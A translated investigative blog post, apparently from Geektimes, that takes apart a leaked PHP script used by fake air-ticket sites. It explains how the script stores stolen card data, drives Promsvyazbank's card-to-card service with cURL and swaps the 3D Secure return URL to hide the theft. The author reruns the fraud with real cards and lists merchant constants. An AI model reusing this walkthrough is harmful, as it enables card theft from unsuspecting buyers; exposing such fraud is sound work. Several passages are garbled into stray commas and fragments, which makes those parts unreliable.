
About a month ago I published on Geektimes an article
“Cheap flights ... Or a network of fraudulent sites that steal money from cards. My investigation. ”The publication received a great response and an unexpected continuation ...
Let me remind you for those who have not read the first part. In the publication on the basis of real cases, schemes have been described by which fraudsters steal money from the cards of air ticket buyers, who had the imprudence to get on a fake ticket site. The number of such fraudulent websites selling air tickets in RuNet is estimated in tens and hundreds (including closed ones). On such sites, the user is first shown the actual information about the flights, it is proposed to place an order and pay for it by credit card. Everything looks beautiful until the air ticket buyers find that they are left without money and without tickets.
')
In all detected cases, such websites use bank services to transfer money from card to card (P2P) to steal money. In the first part, the mechanism of how the Tinkoff Bank page for payment from card to card is disguised and embedded on fraudulent sites was disassembled in detail, so that the “buyer” did not notice anything. Promsvyazbank was also mentioned - it was through him that the money from the victim’s card in the story that was described was stolen. And if there were no questions left with the TKS Bank, in the case of Promsvyazbank, it was not clear how the money was withdrawn. The main script, which was used to steal money, was executed on the server side, and without the source codes it was possible to only guess what it was doing.
And one of the users of Geektimes contacted me and sent the same script payp2p.php, which was used recently on a large part of fraudulent sites for the sale of tickets. This script uses the Promsvyazbank service to transfer from card to card. And in my opinion, Promsvyazbank, by providing its service, which was easy to deceive, contributed to the growth in the number of Internet fraudsters.
Probably, there are other similar banks, but this publication mainly focuses on Promsvyazbank.
Before we start analyzing the script itself, let's see how the payment page of the fraudulent site looked like and what the transfer page from card to card of Promsvyazbank looks like.
It looked like a payment page on fraudulent sites

When analyzing the HTML code of this payment page, I did not find any parts of the pages of any banks, do not use embedded iframe windows, do not use scripts at all, and the page itself is very simple and does not look like the Promsvyazbank page. The data entered into the form is not checked by scripts, but by the mechanisms built into the browsers using the “pattern” and “required” attributes for input fields and for drop-down select lists. Those. even a page stored in a browser on a local disk is then “workable” and can be used to test how the card data is intercepted. A similar page previously saved was used within this publication in order to understand how the script works.
In fact, this page is just a form for entering the card number. Upon confirmation of the form, the processing is transferred to the program payp2p.php.
<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">
The program payp2p.php can do anything. Its code was previously unavailable to us, since it is executed on the server side. But as I wrote, now we have the code, and we know everything.
Now let's see how the payment page from card to card looks like on Promsvyazbank website.
https://www.psbank.ru/Personal/eCommerce/Card2Card

As you can see, the Promsvyazbank page is not at all like the payment page presented earlier. Even the number of fields for entering the card number does not match.
Let's see the HTML code of the Promsvyazbank page to figure out how it works. All we need to know is in these few lines:
<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no"> </iframe>
This piece means that the real payment page is located on a different domain, and what we see on Promsvyazbank’s website is displayed in the “window” using the iframe technology.
I wonder who owns the domain 3ds.payment.ru?Check on the basis of whois.
3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT
C online.payment.ru

Domain 3ds.payment.ru also belongs to Promsvyazbank. We will remember this domain, we will meet it in the description more than once.
Let's see what the page that Promsvyazbank is building on its website, and, possibly, some other websites, is.
https://3ds.payment.ru/P2P/card_form.html

This is the real page that is used for transfers from card to card. As you can see, this page is borderless. This was done specifically to make it easier to build in other sites.
In the HTML code of this page we are interested in this part:

These are hidden input fields for storing service information. We will also remember this page. And where it is used will be explained later.
The prologue is finished, let's move on to the most interesting and figure out how the payp2p.php script works or how it worked.
The script is simple and for its understanding does not require any deep knowledge of the PHP programming language. For the convenience of parsing, I broke it into pieces. On the left are the line numbers that can be referenced. The script is given completely unchanged in the form in which it was received. After each piece of code will be presented decoding and an example of the values of variables during the execution of the program (ie, something similar to debugging). In some places, there may be excessive commenting, this is done so that readers who are not related to programming can also understand the meaning of the program code.
For testing, we will need a form in which you will need to enter the card data with which payment is supposed. Use the previously saved form. How the form on the fraudulent site looked is shown in the picture at the beginning of the article. About the form will be further written below. For testing, we enter the card number 1111.2222.3333.4444.
Let's start.

Line 3 - does not execute any commands.
Line 4 - A separate dbconfig.php file is loaded in which the parameters for connecting to the MySQL database are stored. A screenshot of dbconfig.php code and its analysis is below.
Line 6 - we are connecting to the MySQL server, in the base of which we will then store data about the stolen cards and about the money transfers. This line simultaneously connects to the MySQL server and exits the program if the connection failed for some reason.
Line 11 - choose the encoding for working with the MySQL database.
Line 13 - We connected to the MySQL server earlier; now we select the database we will work with.
The payp2p.php script starts its work after a deceived user on a page similar to a regular online payment page fills out a form. By clicking on the form of the "Pay" button, the payp2p.php script receives the data entered in the form. Data from the form to the script is transmitted by the POST method.
Line 16 - the credit card number entered in the form on the previous page is saved in the $ num variable.
Line 17 - the Month / Year of the card expiration date is stored in the $ date variable.
Line 18 - the CVV code of the card is stored in the $ cvv variable.
Line 19 - the $ code stored in the $ code variable is preserved when a “air ticket order” is issued. This code is used to enable the user to view his order through a special link. The same code is used to identify the order (on the payment page, to automatically display the amount to pay; when saved to the “sales book” that fraudsters lead; this code is also transferred to the payment form, probably as a transfer identifier (see below).
Lines 21-22 A string is formed - a SQL query, which is then executed. The SQL query adds to the 'card' table the values of the order ID, the amount, the expiration date of the card, the CVV of the card code, and the exact current time. An example of writing to the database is below.
Sample debug information
Hereinafter, on similar screenshots, instead of the phrase “variable content”, it would be more correct to write “variable value”. This I noticed late when the screenshots were ready. Please do not judge strictly.
"âbèâ" = 'driven in' when converting ISO8859-1 encoding => Windows-1251
Why this signature, I do not know. Perhaps a typo.
Temporarily switch our attention temporarily to the dbconfig.php file.

Here you can set the parameters for connecting to the database. From what might be interesting:
DBHOST is the name of the host on which the MySQL server is running (in this example, the MySQL database is located on the same server where the executable files are stored, but theoretically it can be on a third-party server)
DBNAME - Database Name
DBUSER - Username for connecting to MySQL database
DBPASS - Password to connect to MySQL database
SECURE_AUTH_KEY - the secret key to connect to something without using passwords. For what exactly this key was used, from those files that were available, it is not clear. The key code in the screenshot is changed.

Line 28 - a third-party aviacfg.php file is included. This is a configuration file that stores recipient card numbers and other settings.
Line 29 - An array is created from the card numbers that are separated by a line break in the configuration file.
Line 30-31 - The variable $ crd is randomly assigned the number of one of the cards.
Let's see what we have in the file aviacfg.php

Here we see that the $ aviacfg variable is an array that contains discount values, and cards (card numbers to which funds are supposed to be withdrawn). In this example, only one card number, but they can be any number. The name of the file (aviacfg.php) and the variable ($ aviacfg) indicates for which area this script was sharpened. The discount value determines what percentage of the price on a fraudulent site will be cheaper than they are actually sold on an “honest” ticket sales site. The owner of a fraudulent site can quickly make the displayed ticket price cheaper. The lower the displayed price, the greater the likelihood that one of the potential buyers will risk buying tickets on an unfamiliar website. About the discount will be even later comment how exactly it is implemented in the code.

Next, the amount of the transfer, the number of the card to which the transfer is made, and the code that identifies the order for airline tickets on the fraudulent website is saved in the MySQL Database. An example of a record in the database will be presented below.

Line 40 - the $ p112 variable is assigned a value with the card number that was previously entered on the form.
Lines 41-51 - The card number is divided into four digits.
Lines 53-57 - The length of the card number is checked. If the number of characters in the card number differs from 16 or 18, then there is an exit. A message is displayed for five seconds, then redirected to another page. In this example, the return will be on the page with the order on the fraudulent site.
In line 56 “Iaaa? Iua aaiiua ea? Ou” when converting ISO8859-1 encoding => Windows-1251 corresponds to the text: “Invalid card data”.
Lines 58-61 - the variables $ p4, $ p5, $ p6, $ p11 are assigned the values entered earlier in the form (card expiration date, CVV code, payment amount).
Line 63 - The $ info variable stores all card data and the transfer amount. Forming, line breaks "\ n" and separators "### ..." are used. This variable is not used anywhere else. When finalizing the script, it can be used to save records to a plain text file or to display on screen when debugging.

Lines 66-75 - This is actually a duplication of a block of lines 27-36. Once again, the recipient's card is selected randomly from the aviacfg.php configuration file, and all this is saved in the card_balance database table. Thus, two entries will be created in the card_balance table for each transfer attempt. If only one recipient card is clogged in aviacfg.php, with a random sample, of course, the same card will always be chosen. In this case, the records in the card_balance table are simply duplicated. But if several card numbers are scored in aviacfg.php, with a random sample, the results will be different and there will be one record in the card_balance table, the first one is incorrect and the second one is correct.
This is a mistake, and script buyers (there will be a separate comment about them) may ask the developer to compensate for moral damage due to the fact that there are at least two times less real translations than log entries.
Sample MySQL database entriesI did not have a database and its structure. Therefore, we had to create a new database and in it two tables: "card" and "card_balance". Since in the script code the data is inserted into the table without referring to the table fields by name, for testing the name of the fields and their type were set approximately appropriate by context.
The fact that in the example there are many identical entries in each table is the result of repeated testing. Normally, the records will be different.
Table "card".

Table "card_balance".

Please note that in the first case, the data on the sender cards without the sum, but with the exact time, is stored in the MySQL database table, and in the second case, the data on the performed transfers (more precisely, on transfer attempts) is stored. The recipient's card number and amount are saved, the sender data in the second table is not saved. In both cases, the “order ID” is additionally stored.
The first part of the script, which was described above, can be called the “sales book entry for accounting”. She has nothing to do with the transfer of money. To transfer money, you can do without saving data to the database. Nevertheless, we see that the card data is saved, which means that in the future they can be additionally used to steal money from cards “in manual mode”. Card data can be sold or used, for example, to pay for advertising in Yandex.Direct, as shown in the previous article.
The second part of the script refers to the transfer of money through the Promsvyazbank website 3ds.payment.ru.

In line 78 in the commentary it is indicated that, it is assumed that the page of confirmation of successful payment has an address of the type "/sus.php?cd=BX3FKT". If successful, the user should be returned to such an address.
Line 80-91 In order to make a transfer, you must first go to the service page.
https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p
.

On this page, about this line is displayed:
{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}
“ORDER_NUM” is ~ “Order Number”, “TIMESTAMP” is the current time stamp. If the page is updated, new data is always displayed.
In order to read some web page or send data to a web page, use the curl command. Curl (cURL) allows you to programmatically connect to web servers using various protocols, including http and https. In our case, curl is a software web browser that can save web pages to variables. The page stored in a variable is a very long line with the source HTML code of this page. You can work with such string variables in the same way as with any strings - you can search for text, replace text with itp. Curl in the described scripts will be used several times.
Line 80 - The URL is stored in the $ login_url variable.
Line 81 - The URL is stored in the $ agent variable.
Line 82 - Initializes the cURL session.
Line 83-90 - Sets the parameters for the cURL session (the address of the page saved earlier in $ login_url; the browser identifier saved earlier in $ agent; the page you are navigating from or otherwise referring to the REFERER page; the COOKIE settings, etc.)
Line 91 - As a result of the curl_exec command, a web page will be programmatically retrieved and saved to the $ page variable.
Lines 93-95 The saved $ page webpage is the “order number” ORDER_NUM, which is stored in the $ ord variable.
Lines 96-98 The saved $ page webpage contains the TIMESTAMP timestamp, which is stored in the $ tim variable.

Now the “software browser” needs to go to
https://3ds.payment.ru/P2P_ACTION/card_form.html
. This is the same payment page, a screenshot of which was shown above. This is a page with a form, part of the service fields of which is hidden. A piece of HTML code with hidden input fields was shown above. Some values of these hidden fields need to be remembered in order to use them later when submitting the form.
Line 99 - In the $ url variable save the page address.
Line 100 - Set the parameters for the session with the URL (in this case, only the address of the page. The remaining settings remain the same).
Lines 101-102 Delete the previously used $ page and $ part variables.
Line 103 - As a result of the curl_exec command execution, a web page will be programmatically received, which will be saved to the $ page variable.
Lines 104-106 The saved $ page webpage contains the value of the TERMINAL field, which is stored in the $ term variable.
Lines 107-109 The saved $ page webpage contains the value of the TRTYPE field, which is stored in the $ type variable.
Lines 110-112 The saved $ page webpage contains the value of the MERCHANT field, which is stored in the $ merch variable.
Lines 113-115 The saved $ page web page contains the value of the EMAIL field, which is stored in the $ ml variable.
In general, these values in the specified form never change. And they could be saved in the code as constants and not received every time. Probably getting the values of these fields is made for additional safety, in case sometime in the future one or more fields change.
Description of some fields. A complete description of all the fields is easy to find in Google.
TERMINAL - Unique number of the virtual terminal of the outlet
MERCH_NAME - Name of the outlet
MERCHANT - the outlet number assigned by the bank
TRTYPE - Type of requested operation (Payment - 1, Cancellation - 22, Preauthorization - 0, Completion of calculations - 21)
EMAIL - E-mail address to send alerts
Sample debug information
In this example, you can see how web pages are stored in string variables. ($ page)
EMAIL here is an epic case. Who cares, additional materials about this EMAIL at the end of the article in the application under the spoiler.

Here we see a big block. The fact that it looks great is explained by the limited width of the column in the publication and the convenient presentation of the code by the author of the script. All the same could be placed in 10 lines of code, but the convenience of reading and editing the code would be affected.
Line 120 - In the $ url variable save the page address.
Line 121-123 - Set the parameters for the session with the CURL.
Line 124 - an array of $ ncrd is created from the recipient's card number in the string $ crd variable, which will contain the parts of the card number, divided into fours.
Line 125 - HTTP headers are stored in the $ headers array variable.
Line 126 - Set parameters for a session withURL (HTTP headers from the $ headers variable.
Lines 135-164 - An array of $ postL is created, each value of which will correspond to the form field on the payment page (sender card number, divided by four; sender card validity; sender CVC; recipient card number, divided by four; recipient card validity ; CVC of the recipient's card; payment amount; “order number”; description for the confirmation page; terminal number; name of the outlet; email for notifications; time stamp; unlit number of the sender card; unbroken number of the card will receive data on software and hardware “on the sender’s computer”, designed to create the appearance of a real user, not a script).
Lines 135 - Set the parameters for the session withURL (the data transmitted in the HTTP POST request. At the same time, the $ postL array is converted to a string that is a url-encoded string, like
'p1=val1&p2=val2&...'
.
More clearly transmitted data is shown in the screenshot with debugging information below.

Line 166 - As a result of the curl_exec command being executed programmatically using the POST method, the prepared data will be sent to the web page form. For a web page, such a submission will look exactly the same as if a regular user filled out and confirmed the form in a regular browser. The page with the result of sending data to the form will be saved to the $ page variable.
Line 167 - The cURL session ends.
Line 168 - In the resulting page, which is stored in the $ page variable, and as we remember, is a long line, the “Error” substring is searched.
Lines 169-173 - If the substring "Error" is found, then an error message "Card does not fit" is displayed for 5 seconds and then the script is exited with the redirection of the page displayed in the browser to the "page with the order". If the user persists, he can once again try to go through the payment procedure.
Displayed page in case of any error.
The causes of errors that the bank gives out may be different (an error in the card number, insufficient funds, an authorization error, and many others). But for the script payp2p.php there is no difference. Once payment has failed, then the user is redirected to a page from which you can retry payment. The page to which you return for an error can be easily changed depending on the task.Example of HTML code returned by the bank page, in case of error <!DOCTYPE html> <head> <base href="/"> <script src="/netcetera/netcetera.js"></script> <script src="/riskminder-client.js"></script> <script> function redirect(rctext, ext_diag_code){ if (rctext == "Call your bank"){ window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank"; } else if (rctext == "Your card is restricted"){ window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction"; } else if (rctext == "Your card is disabled"){ window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard"; } else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){ window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount"; } else if (rctext == "Re-enter transaction"){ window.top.location = "http://www.psbank.ru/Card2Card/Retry"; } else if (rctext == "Expired card"){ window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard"; } else if (rctext == "Not sufficient funds"){ window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance"; } else if (rctext == "Exceeds amount limit"){ window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit"; } else if (rctext == "Exceeds frequency limit"){ window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit"; } else if (rctext == "Error in card number field"){ window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber"; } else if (rctext == "Error in card expiration date field"){ window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate"; } else if (rctext == "Error in currency field"){ window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency"; } else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){ window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword"; } else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){ window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure"; } else { window.top.location = "http://www.psbank.ru/Card2Card/TechReasons"; } } </script> </head> <body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')"> </body> </html>
An example of debug information if the bank reports an error when paying Line 174 - If a script did not exit the script due to a payment error, it means that everything is proceeding as planned. In the page that was previously saved in the $ page variable, all the substrings with the address are replaced with a https://3ds.payment.ru/cgi-bin/cgi_link
line with the address of the mydomain.ru/sus.php?cd=... type is the address of the page on the fraudulent website that the user must go to if the payment is successful. (On this user page, you can thank and inform him that e-tickets have been sent to the post office). After replacing the substring, the result is stored in the $ pp variable.Line 175 - The $ pp variable is displayed in the browser. Since the $ pp variable is a string with the full HTML code of the page, the user will see a page. From the original page, which the bank gave away, the displayed page will not differ externally - the only difference will be inside the HTML code in the place where the link was replaced.So what is this page that the bank gives if you enter the correct card number, and in which the script substitutes a link to the successful payment page on the fraudulent website? And after all, there probably should be a 3D Secure check from the sending banks that will not allow payment? The code ended on the most interesting place and there are doubts that it can work without additional tricky scripts, forms, etc.. - . . .In the aviacfg.php file I drive in my bank card number. On it you will try to accept the translation, if, of course, it turns out. I open the page with the form previously saved on the disk. This form was simply saved in the browser when visiting one of the fraudulent sites, which at the time of writing the first part of the publication, was still working. The form has been preserved with a sum of 2915 rubles, and this is too much for testing. Let's change this. In any form there are visible and hidden fields. Hidden fields (input, select) are no different from ordinary ones, except for the fact that they are not visible. Such fields are used to store service information that the user does not need to see. The input fields are hidden in two ways.- CSS ( display:none). , (input), , ( DIV) input.
- — , type=«hidden». type=«text».
In our case, the form fields are hidden using type = "hidden".Click in the browser F12 (web development mode). Find the right place in the HTML code and change the text type = "hidden" to type = "text" for two or more input elements. Now we see the fields that store the amount and the service code (code). Reduce the amount from 2915rub to 20rub. Now we enter the data of our second bank card into the form. Money from this card must be deducted in case you manage to make a transfer.
We confirm the form by clicking on the button "Pay". After pressing the button, the payp2p.php script is launched, which receives the data entered into the form.To my surprise, after entering the real card number and clicking on the “Pay” button on the test form, I saw the Sberbank page (the bank from which the transfer is being made) on the screen, asking me to enter the 3D Secure confirmation code.
I also received an SMS from Sberbank with a code on my phone.
Before testing with a valid bank card, I assumed that in order to confirm the 3D Secure code, it would need to be “lured” from the user in some way, and then programmed to be hidden in the present confirmation form, 3D Secure. However, everything turned out to be much simpler. After the data for transfer from card to card is sent to Promsvyazbank's website, the form of the card issuer of the card from which the transfer is made is displayed in the browser. In my case, this is Sberbank. This form is not even necessary to forge. The confirmation form is displayed on the Sberbank's HTTPS website. Victims of fraudsters themselves directly in this familiar form enter a confirmation code. After that, if the transfer passes, the money is written off. Although it is theoretically possible to protest such a transfer, it is far from a fact that the money will be returned.The likelihood of a refund is influenced by many factors, including how quickly the “victim” applies to his bank.The HTML code of the page that Sberbank gives to confirm 3D Secure under the spoiler. The code was obtained during testing by writing the $ page variable to a text file. Line 166 of the payp2p.php script.HTML code of 3D Secure page before string replacement <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> </HEAD> <BODY ONLOAD="javascript:OnLoadEvent();"> <FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self"> <input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ"> <input name="MD" type="hidden" value="161732779-506DEA0AD5677154"> <input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link"> </FORM> <SCRIPT> function OnLoadEvent () { document.forms[0].submit(); } </SCRIPT> </BODY> </HTML>
The HTML code of the page after it replaces part of the text, under the spoiler. The code was obtained during testing by writing the $ pp variable to a text file. Line 174 of the payp2p.php script.HTML code of the 3D Secure page after replacing the line <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> </HEAD> <BODY ONLOAD="javascript:OnLoadEvent();"> <FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self"> <input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ"> <input name="MD" type="hidden" value="161732779-506DEA0AD5677154"> <input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT"> </FORM> <SCRIPT> function OnLoadEvent () { document.forms[0].submit(); } </SCRIPT> </BODY> </HTML>
In short, in the HTML code of the 3D Secure page (in this example from Sberbank) the line: <input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
Programmatically changed to: <input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
The replaced string is the address of the page on which the issuing bank of the sender card, after verifying the 3D Secure code, must return the user. Before the script replaced the line, Promsvyazbank was specified as the return address. After the script has replaced the string, some page on the fraudulent site is already indicated as the return address.I do not fully understand at what point the return address is being replaced, but it works. At that moment, when the browser displays the https Sberbank page with a request to enter the 3D Secure code, if the browser looks at the source HTML code for the page, there is no return address on any site. The HTML code of this page is longer than 400 lines and is completely different from the above HTML code of the Sberbank response page, which was captured by writing the variables $ page (line 166) and $ pp (line 174) to disk.If you enter an incorrect 3D Secure code, Sberbank on its page gives a message stating that the code is incorrect and sends another SMS. As soon as the correct code is entered, it is redirected to the payment site or to a replacement site. That is, it is likely that the redirection itself to the payment site implies that all the necessary procedures have been carried out by Sberbank. Sberbank here serves as an example for testing. Transfer can be made through another bank.
From the “ticket buyer” it looks like this. The buyer on the pre-prepared form of payment enters the number of your card. After that, the 3D Secure code confirmation page is displayed almost immediately and an SMS with a confirmation code arrives. The 3D Secure page in the browser is displayed on the website of the issuer's bank card issuer via the HTTPS protocol. The page with the form for entering the card number may look suspicious, but the confirmation of 3D Secure on the website of your bank does not raise any doubts or suspicions.By the way, pay attention to the signature “ticket pay” in the “Description” line on the 3D Secure page from Sberbank. This signature is set in the payp2p.php script. In future examples, we will try to change it.Let's go back to testing.I entered the code from the SMS on the Sberbank page and after clicking on the “Send” button, I received a warning that the data would be sent over an unprotected connection.
After I confirmed that I agree with sending data over an unsecured connection, I was redirected to the page /sus.php?cd=…
This is a return page. The return address is specified in the script. In this case, the page is not found. But the reason is clear - the return page was not prepared in advance.Although the goal was almost achieved, the money from card to card was not really passed . There were no additional SMS with the information that the payment was declined and so forth.I decided that the reason for the failure in the first attempt was that the local site (localhost) worked over the unprotected http connection, and the Sberbank site had a secure http protocol. Http and https are not very friendly with each other. This, incidentally, explains why the fraudulent sites described in the first part of the publication used a secure https connection, albeit with the simplest certificate.To test this assumption, we had to configure the https protocol on the local site. For this, a local domain p2p.localhost and a self-signed certificate were created. As a result, the new address with the test script began to look like this:https://p2p.localhost/payp2p.php
Additionally, the script changed the address of the page to which the return should take place after entering the 3D Secure code. The page for the return was also pre-prepared.We try once again to make a payment with a local site that works using the https protocol.When you first connect, the browser naturally swears at an incorrectly configured secure connection. This is due to the fact that we have a self-signed certificate.
Since the source of the certificate is known, we add it to the exceptions.
Everything.
Now the connection is made via https and when you switch from the Sberbank site, the warnings disappear.
After entering the 3D Secure code, the return to the specially prepared page is carried out correctly.
Everything works fine except that the money really does not go through . As a result, I had to test and search for several days, what could be the reason.I only had some of the files that are used on one of the fraudulent air ticket sales sites. Among the files that were sent to me, there was a file called payment.php. This is a similar script to the one above. Judging by the code, it was probably created not for deceiving visitors on the “combat site”, but for testing by the programmer-developer of the possibility of transferring from card to card through the 3ds.payment.ru service. Unlikely, but theoretically in earlier versions of fraudulent sites, it could be used not only for testing.I tried to make a payment using an alternative payment.php script and the payment was completed the first time.The only thing that confirmation of successful payment was displayed on the site 3ds.payment.ru. I decided that once this script works, then it will be possible to find the reason why the first script in the description (payp2p.php) does not work.
The full code of the payment.php script under the spoiler
.
Description of the differences between payment.php and payp2p.php. But there are differences.
payp2p.php POST . payment.php GET . , , :
https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...
, « ».
Payment.php payp2p.php MySQL. . .
Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).
— payment.php https://3ds.payment.ru/cgi-bin/is_3DS
. {"IS_ACTIVE":"Y"}
, ( 3D Secure).
. payment.php . , 3ds.payment.ru.
… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.
Then there were attempts to force the payp2p.php script, which is not working for some reason, to be repaired, based on the working script. Were tried different options. All pieces of code that could somehow influence the work in turn were transferred from the working script to the non-working one. Among other things, there was an attempt of an additional intermediate connection to https://3ds.payment.ru/cgi-bin/is_3DS
; change, enable and disable cURL options, etc. Nothing helped, - the stone flower did not come out.Later, at the time of testing, it was decided to disable redirection at the final stage in payp2p.php. After this, it became possible to read the error message from Promsvyazbank. The screenshot of the error is below. In the browser after an unsuccessful attempt to make a payment, another page is displayed, but if you press “Back” one or several times, you can see this page.
Transfer:
, .
: / (/)
, , /
There are some restrictions on the number of payments from one card per day on the Promsvzyazbank website, etc. Although I did not exceed the limits on the number of actual payments, it is possible that at some stage payments did not go through, due to the large number of my attempts. (To capture the values of variables during debugging, I began the payment process many times, but did not finish it.) I don’t know the exact cause of this message. Every time you try to pay ORDER_NUM and TIMESTAMP, a new one is used. They should not have influenced the appearance of such an error. Although the card I used to pay for one successful payment went through the alternative payment.php script, it’s possible the card either the sender or the recipient hit the stop list.The payp2p.php script was already a little like its original state. I myself began to get confused about what I replaced in it and what did not. Therefore, I returned it to its original form, except for the fact that on the last lines the substitution of redirection to the page of successful payment was disabled. The card numbers of the sender and recipient for subsequent attempts were used new.Finally, with the help of payp2p.php it was possible to make a successful payment.
Note the caption in the "Description" line.After entering the 3D Secure confirmation code, return to Promsvyazbak:
Received SMS. To the left of the sender's bank. To the right of the recipient bank.
Sberbank, for some reason, indicated in the SMS time in GMT. Previously, I did not notice this in the messages from this bank.If the return page substitution is disabled, repeat successful payment using the payp2.php script has happened many times.I tried to pay with other cards. Each bank issues its 3D Secure form. But essentially it does not change.
Please note that not all banks in their confirmation form include an “additional description”. In our example “ticket pay”.It is not necessary to adapt to the page of each bank. Although the forms are different, the mechanism of work of substitution for them means the same. Any form after payment contains a link with the address of the page to which you want to return. The banks providing the 3D Secure verification forms will most likely not be returned to the “left site”. Surely, there are some rules and banks from the 3DS verification form should at least return to the same domain from which the request for payment came. (In our case at 3ds.payment.ru). The bank verifying the 3D Secure code, if the “password” is correctly entered, indicates the address to which the page should be returned in the html code of the page, but it could no longer check whether the return was sent to this page.As a result of all the experiments, the payp2p.php script was forced to pay through the transfer service from card to card of Promsvyazbank 3ds.payment.ru. At the same time, we had to disable the substitution of the return address on the last lines of the script. When you enable the substitution of the address of the return page, as was the case in the original script, at present, money really does not pass. The 3D Secure verification page is displayed; SMS with “password” is sent; verification form does not skip to the next step when entering the wrong password; after entering the correct “password”, a forwarding is made to a fake page, but the money does not pass.Forgery of return address forgery is a very important part for fraudulent sites. If the “airline ticket purchaser” does not suspect that he has been deceived, then he can pay not one, but several purchases of tickets and thereafter for a long time (days and weeks) not take any active actions to cancel the payment and so on. If the buyer, after “paying for the air tickets”, receives a confirmation of the transfer from card to card, then he will most likely not make the next payment, he will contact his bank and, possibly, the police much faster. This means that cash flow on fraudulent sites decreases, the probability of cancellation of past payments increases, law enforcement agencies and hosting employees begin to act earlier, and the likelihood of not having time to withdraw the stolen funds to a safe place increases.There is no doubt that this script was used on a combat fraud site. I have reason to believe that he worked in the form in which he was provided to me. Currently it works limited (without forwarding).Approximately three weeks after the release of the first part of the publication, which mentioned the use of the transfer service from card to card by Promsvyazbank by fraudsters, this bank made some changes in the operation of its service, which I consider important. If earlier when paying through Promsvyazbank's website, the payers received incomprehensible SMS with the text “P2P PSBANK”, then now they began to receive SMS with the text “CARD2CARD PSBANK.RU”. Even this, at first glance, a slight change in deciphering the purpose of the payment is enough for some of the potential victims of fraudsters to cancel the payment at the confirmation stage. I think this is not a coincidence, but the changes were made as a result of the publication of the article on GeekTimes.It is likely that after the publication of the first part of the article, along with the change of the confirmation text in the SMS, additional adjustments could be made to the algorithms of the transfer service from card to card of Promsvyazbank. I can’t say 100%, but my opinion is 